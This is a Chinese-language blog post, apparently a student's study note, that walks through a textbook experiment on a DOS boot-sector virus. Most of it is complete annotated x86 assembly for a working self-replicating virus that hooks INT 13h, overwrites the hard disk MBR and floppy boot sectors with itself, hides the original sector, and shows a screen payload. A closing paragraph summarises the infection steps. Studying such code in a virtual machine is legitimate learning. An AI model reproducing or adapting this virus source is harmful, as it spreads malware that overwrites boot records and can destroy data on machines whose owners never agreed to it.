DOS平台引导型病毒初探

     DOS平台的病毒已经是过去时了,但是学习知识还得从简单学起。

    今天就来研究一下DOS平台的引导型病毒,参考资料为刘功申老师编著的《计算机病毒及其防范技术》(第2版),以第一个实验为例。

    实验环境:虚拟机

上代码先:

  
  
  
  
  1.     ;bv.asm 
  2. bv segment;定义段 
  3.     assume cs:bv,ds:bv,es:bv;声明段与寄存器的结合 
  4.     .286;处理机模式 
  5.     org 0000h;制定下一指令的偏移地址为0000h 
  6. start: 
  7.     jmp short vir_init;下面两个字节用于保存中断向量,跳过 
  8.      
  9.     magic equ 10ebh   ;病毒感染判断标志 
  10.     oint13_ip dw ?      ;存放正确的int 13中断向量 
  11.     oint13_cs dw ? 
  12.     reg_cx dw 4f0fh;正常的mbr的地址(表示79道15扇)      
  13.                     ;在本实验中也相当于一个标记,用来判读是从软盘还是从硬盘启动 
  14.                     ;没有别的作业,因为实验中用的虚拟软盘都没有存放引导记录的 
  15.     bootmessage db "*^_^*"  ;病毒发作时,显示的内容 
  16.     clearmessage db "     " 
  17.  
  18. vir_init:;病毒从这里开始执行 
  19.                                                         ;初始化ds,ss,sp 
  20.     mov si, 7c00h;当前病毒所在的偏移地址 
  21.     cli;为确保堆栈操作正常,中断禁能 
  22.     xor bx, bx;bx清零 
  23.     mov ds,bx;0000为当前之段地址置入数据段寄存器ds中           
  24.     ;下面将堆栈放置在程序段的头部 
  25.     mov ss, bx;0000为当前之段地址置入ss中 
  26.     mov sp, si;7c00为当前程序段偏移地址置入sp中 
  27.     sti;中断置能 
  28.      
  29.     push bx;0000:7c00h置入堆栈 
  30.     push si;为以后使用retf跳转到此执行做准备 
  31.      
  32.     cld;清方向标志 
  33.                                                                 ;保存原int13h ip,cs 
  34.     mov ax, [bx+13h*04h];取int 13h的偏移地址 
  35.     mov ds:[si+offset oint13_ip], ax;放入本程序段前的预留空间中 
  36.     mov ax, [bx+13h*04h+02h];取int 13h的段地址 
  37.     mov ds:[si+offset oint13_cs], ax;放入预留空间中 
  38.      
  39.     dec word ptr ds:[0413h];bios资料区的可用内存数减1k                减少可用内存数 
  40.      
  41.     int 12h;取内存数,到ax 
  42.     shl ax, 06h;左移6位 
  43.     mov es, ax;放入es,求得病毒藏身驻留地区起始段地址 
  44.     ;(640-1)*(2^6) =40896     
  45.      
  46.     push ax;段地址入栈                                
  47.     push offset high_code;偏移地址入栈 
  48.                                             ;将自己移动到高地址,驻留内存,避免被覆盖,神奇 
  49.     ;开始将病毒的程序码搬移到1k高地址区 
  50.     mov cx, 0100h;置搬移数量 
  51.     xor di,di;置搬移目的地址的偏移地址(段地址es先前已放置) 
  52.     rep movsw;开始搬移256个字,也就是512个字节(一个扇区) 
  53.      
  54.     retf;转到藏身区继续执行 
  55.      
  56. high_code:;以下的代码将在1k的驻留地区继续执行 
  57.     mov ax, cs                  ;重新设置 ds 
  58.     mov ds, ax 
  59.      
  60.     call mainloop       ;病毒的表现模块,在屏幕上显示一个*^_^*,并且不断移动,直到有键盘操作 
  61.      
  62.     xor ax, ax;ax置零 
  63.     mov es, ax;ex置零 
  64.     int 13h;软驱复位        磁盘复位 
  65.      
  66.     push cs;cs入栈 
  67.     pop ds;cs内容放入ds 
  68.      
  69.     xor si, si;si置零 
  70.     ;下面开始寻找正常的启动记录 
  71.     mov ax, 0201h;调用磁盘服务,读取一个扇区 
  72.     mov bx, 7c00h;读取到0000:7c00h 
  73.     mov cx, ds:[si+offset reg_cx];将保存正常启动记录的地址取出 
  74.     ;病毒会将正常的引导记录存在:硬盘,0面0道2扇;软盘,1面79道15扇 
  75.      
  76.     cmp cx, 0002h;比较看是不是0道2扇区 
  77.     jnz boot_fd;如果不是则一定是从软盘启动,此时需要传染硬盘 
  78.      
  79.     ;如果是则一定从硬盘启动 
  80.     mov dx, 0080h;读硬盘0head 
  81.     int 13h;开始读取 
  82.     call near ptr install;调用子程序,安装病毒的int 13h 
  83.     retf;转到0000:7c00h开始执行正常的引导记录程序 
  84.      
  85. boot_fd:;从软盘引导 
  86.     mov dx, 0100h;读a驱动器1面 
  87.     int 13h     ;这个在本实验中没有用,因为本实验中软盘中是没有正确的引导记录的, 
  88.                 ;所以这个一段读的内容是无效的,也无法完成后面的启动, 
  89.                 ;所以我增加了一个启动copy_boot 
  90.                  
  91.     jb boot_dos;如果读取失败转到boot_dos 
  92.     ;下面准备传染硬盘 
  93.     push cs 
  94.     pop es;cs值放入es 
  95.     mov ax, 0201h 
  96.     mov bx, 0200h 
  97.     mov cx, 0001h 
  98.     mov dx, 0080h 
  99.     int 13h;读硬盘0面0道1扇区之内容到病毒驻留区段并偏移512个字节, 
  100.     ;保存硬盘原来正确的MBR 
  101.     ;避免覆盖到病毒程序本身 
  102.     jb boot_dos;不成功则转到boot_dos 
  103.      
  104.     cmp word ptr ds:[bx], magic;把读到的内容的第一个字取出与10ebh相比,10ebh是 
  105.     ;病毒程序第一条指令的机器码,如果比较结果相等,说明硬盘先前已传染,就不再次传染。 
  106.     ;这是感染病毒的标志 
  107.      
  108.     jnz inf_hd;不相等,说明硬盘没有被传染,跳转到传染程序 
  109.      
  110.     call near ptr copy_boot ;由于实验中的软盘没有正确引导记录, 
  111.                             ;所以我增加了一段启动的代码 
  112.      
  113.     call near ptr install;调用子程序,安装病毒的int 13h,病毒传染触发的条件   
  114.     retf;转到0000:7c00h开始执行正常的引导记录程序 
  115.      
  116. boot_dos:;执行失败,就跳转到此处 
  117.     int 18h;转到rom-basic执行 
  118.      
  119. inf_hd:;传染硬盘,  完成传染硬盘的过程 
  120.     ;先将刚才读到的正常引导记录保存道0道2扇,将正常的引导记录存放到硬盘0面0道2扇区 
  121.     inc cx;cx此时为1,为2 
  122.     mov ds:[si+offset reg_cx],cx;cx存放的是正常引导记录的位置(磁道;扇区)0道2扇 
  123.     mov ax, 0301h;写入一个扇区 
  124.     mov dx, 0080h;写入硬盘1的0面 
  125.     int 13h;开始写入 
  126.     jb boot_dos;不成功转到boot_dos 
  127.     ;准备替换引导扇区 
  128.     ;保留硬盘分区表 
  129.     ;如果省略此步骤,从软驱引导则无法进入硬盘,很危险。 
  130.      
  131.     ;我觉得这段把引导扇区除MBR外剩余的信息复制到病毒代码后面的空位没什么用 
  132.     ;所以我注释了,编译链接之后做实验是没问题的 
  133.     ; mov cl, 21h;准备搬移33个字 
  134.     ; mov di, 01beh;从内存高端的03beh搬移到 
  135.     ; mov si, 03beh;内存高端的01beh,此处正是病毒程序的驻留区 
  136.     ; rep movsw;开始搬移 
  137.     mov ax, 0301h;准备向硬盘写入一个扇区       将病毒写到引导扇区0面0道1扇区 
  138.     xor bx, bx 
  139.     ; inc cx;cx置1 
  140.     mov cx, 1h 
  141.     int 13h;写入物理硬盘0面0道1扇区 
  142.      
  143.     ; mov cx, 0100h;准备搬移一个扇区 
  144.     ; mov si, 0200h 
  145.     ; mov ax, 0 
  146.     ; mov es, ax 
  147.     ; mov di, 7c00h 
  148.     ; rep movsw;开始搬移 
  149.     call near ptr copy_boot 
  150.      
  151.     call near ptr install;安装病毒的int 13h 
  152.     retf;转到0000:7c00h执行,正式从软盘启动 
  153.      
  154. install:;病毒int 13h的安装子程序 
  155.     push ax 
  156.     push ds 
  157.     xor ax, ax 
  158.     mov ds, ax 
  159.     mov ax, offset vint13h;病毒int 13h的偏移地址 
  160.     mov ds:[13h*04], ax;替换原int 13h的ip 
  161.     mov ax, cs;取得病毒的段地址 
  162.     mov ds:[13h*04h+02h], ax;替换原int 13h的cs 
  163.     pop ax 
  164.     pop ds 
  165.     ret 
  166.  
  167. copy_boot:          ;将硬盘0面0道第2扇区复制到0000:7c00, 
  168.                     ;被病毒感染的硬盘的MBR存放在0面0道2扇区,可以启动 
  169.                     ;又由于实验中使用的软盘都是没有正确引导记录的,遂做修改,这样可以正常启动 
  170.                     ;而如果软盘有正确引导记录的话,原来的程序是可以完成启动的 
  171.     mov ax, 0       ;将硬盘0面0道第2扇区的正确的MBR放到000:7c00处,完成启动 
  172.     mov es, ax 
  173.     mov ax, 0201h 
  174.     mov bx, 7c00h 
  175.     mov cx, 0002h 
  176.     mov dx, 0080h 
  177.     int 13h 
  178.     ret 
  179.  
  180. vint13h: ;病毒的int 13h,判读是否满足条件,感染软盘 
  181.     pushf 
  182.     cmp cx,0001h;是否对0道1扇区进行操作 
  183.     jz stealth;是则进入特殊处理程序stealth 
  184.     or dl,dl;是否操作a驱 
  185.     jnz vint13h_ext;不是则转到原始int 13h中断执行 
  186.     test al,01h;是否操作奇数个扇区(测试al的最低位) 
  187.     jnz vint13h_ext;不是则转到原始int 13h中断执行 
  188.     call inf_fd;调用传染软盘子程序 
  189.      
  190. vint13h_ext:;病毒int 13h到此结束 
  191.     popf;下面 
  192.     jmp dword ptr cs:oint13_ip;调用原始int 13h,开始正常处理 
  193.      
  194. stealth:;特殊处理部分,将对0面0道1扇区的操作改为2扇区的操作, 
  195.         ;因为正确的0面0道1扇区的内容是被保存在2扇区的 
  196.     cmp al,01h;是否操作一个扇区 
  197.     jnz vint13h_ext;不是则转到正常中断 
  198.     cmp dx,0080h;是否操作硬盘0面 
  199.     jnz vint13h_ext;不是则转到正常中断 
  200.     inc cx;对硬盘0面0道1扇区操作改为对2扇区的操作 
  201.     jmp short vint13h_ext;转到正常的中断服务程序 
  202.      
  203. inf_fd:;传染软盘子程序 
  204.     push ax 
  205.     push bx 
  206.     push cx 
  207.     push dx 
  208.     push di 
  209.     push si 
  210.     push ds 
  211.     push es 
  212.     push cs;置ds,es的值 
  213.     pop ds 
  214.     push cs 
  215.     pop es 
  216.     xor di,di;di置0 
  217.     mov si,0003h;si置3(表示读3次) 
  218.      
  219. read_again: 
  220.     mov ax,0201h 
  221.     mov bx,0200h 
  222.     mov cx,0001h 
  223.     xor dx,dx;读取软盘0面0道1扇区到病毒常驻段偏移地址为0200h 
  224.     pushf       ;手工完成原int 13h的调用 
  225.     call dword ptr ds:[di+offset oint13_ip] 
  226.     jnb read_succ;读取成功转read_succ处理 
  227.     ; xor ax,ax;否则软驱复位      ;这一段好像也是多余的,注释后,编译运行,没问题 
  228.     ; pushf 
  229.     ; call dword ptr ds:[di+offset oint13_ip] 
  230.     dec si;次数减1 
  231.     jnz read_again;不为0再次读取 
  232.     jmp short inf_ext;否则退出 
  233.      
  234. read_succ:;读取成功后,以vir_init处一个字的机器码为特征码进行比较 
  235.     ;判断软盘是否已经染毒,如果没有染毒,则进行传染 
  236.     cmp word ptr ds:[bx], magic 
  237.     jz inf_ext;已染毒,退出 
  238.     mov cx,4f0fh                     
  239.     mov ds:[di+offset reg_cx],cx;存放正常的引导程序磁道号扇区号 
  240.     mov ax,0301h 
  241.     mov dh,01h;写入软盘1面79道15扇区 
  242.     pushf 
  243.     call dword ptr ds:[di+offset oint13_ip] 
  244.     jb inf_ext 
  245.     ;下面将驻留在内存中的病毒程序写入软盘的0面0到1扇区 
  246.     ;若没有中毒,则感染软盘,将病毒代码复制到软盘中,完成传染,也是手工调用int 13h 
  247.     mov ax,0301h 
  248.     xor bx,bx 
  249.     mov cx,0001h 
  250.     xor dx,dx 
  251.     pushf 
  252.     call dword ptr ds:[di+offset oint13_ip] 
  253.      
  254. inf_ext:;退出传染子程序 
  255.     pop es 
  256.     pop ds 
  257.     pop si 
  258.     pop di 
  259.     pop dx 
  260.     pop cx 
  261.     pop bx 
  262.     pop ax 
  263.     ret 
  264.  
  265.     col db 1    ;病毒的表现模块,在屏幕上显示一个*^_^*,并且不断移动,直到有键盘操作 
  266. mainloop: 
  267. nextloop: 
  268.     mov dl, col 
  269.     inc dl 
  270.     cmp dl, 63 
  271.     jnz doshow 
  272.     mov dl, 0 
  273.      
  274. doshow: 
  275.     mov col, dl 
  276.     call dispstr; 调用显示字符串例程 
  277.     mov cx, 0h 
  278.      
  279. ; waitstart:        ;可能是通过循环多争取了一些时间,使字符显示在同一位置的时间更长 
  280.     ; loop waitstart    ;注释后也没多大影响 
  281.     call clearstr 
  282.     mov ax,0100h            ;取键盘缓冲区状态 
  283.     int 16h 
  284.     jz nextloop         ;判断有无按键操作, 
  285.     ret 
  286.  
  287.     ;调用10h中断将字符串打印到屏幕上 
  288. dispstr: 
  289.     mov ax, cs 
  290.     mov es, ax 
  291.     mov ax, offset bootmessage 
  292.     mov bp, ax; es:bp = 串地址 
  293.     mov cx, 5; cx = 串长度 
  294.     mov ax, 01301h; ah = 13, al = 01h 
  295.     mov bx, 000ch; 页号为0(bh = 0) 黑底红字(bl = 0ch,高亮) 
  296.     mov dh, 5 
  297.     mov dl, col 
  298.     int 10h; 10h 号中断 
  299.     ret 
  300.  
  301.  
  302.     ;用空格清除上一次的输入 
  303. clearstr: 
  304.     mov ax, cs 
  305.     mov es, ax 
  306.     mov ax, offset clearmessage 
  307.     mov bp, ax 
  308.     mov cx, 5 
  309.     mov ax, 01301h 
  310.     mov bx, 000ch 
  311.     mov dh, 5 
  312.     mov dl, col 
  313.     int 10h 
  314.     ret 
  315.  
  316.     db (510-(($-start)mod 512)) dup(0); 以0填充剩余的字节,保证占有512个字节 
  317.     dw 0aa55h  
  318. bv ends 
  319.     end start  

引导型病毒将自己藏身在软盘的引导扇区,系统启动时,该病毒会被加载到内存中执行,即获得控制权,然后病毒减小可用内存数,将自己移动到高内存处继续执行,完成常驻内存,通过判断是从软盘启动还是从硬盘启动,从软盘启动则会感染硬盘,根据标志判断是否已被感染,未感染则将硬盘0面0道1扇区的内容复到0面0道2扇区,并且将病毒复制到0面0道1扇区,以实现从硬盘启动时的感染。病毒将int 13h替换,如果有Int 13h调用,判断是否软盘,如果是对软盘的操作,则感染软盘,通过标志判断软盘是否感染,如果没有,则将软盘的正确引导记录移动,然后用病毒自身去替换软盘引导记录,完成传染。

病毒发作时,只是在启动时显示字符串。

引导型病毒的杀毒请搜索。

你可能感兴趣的:(dos,病毒,引导型病毒)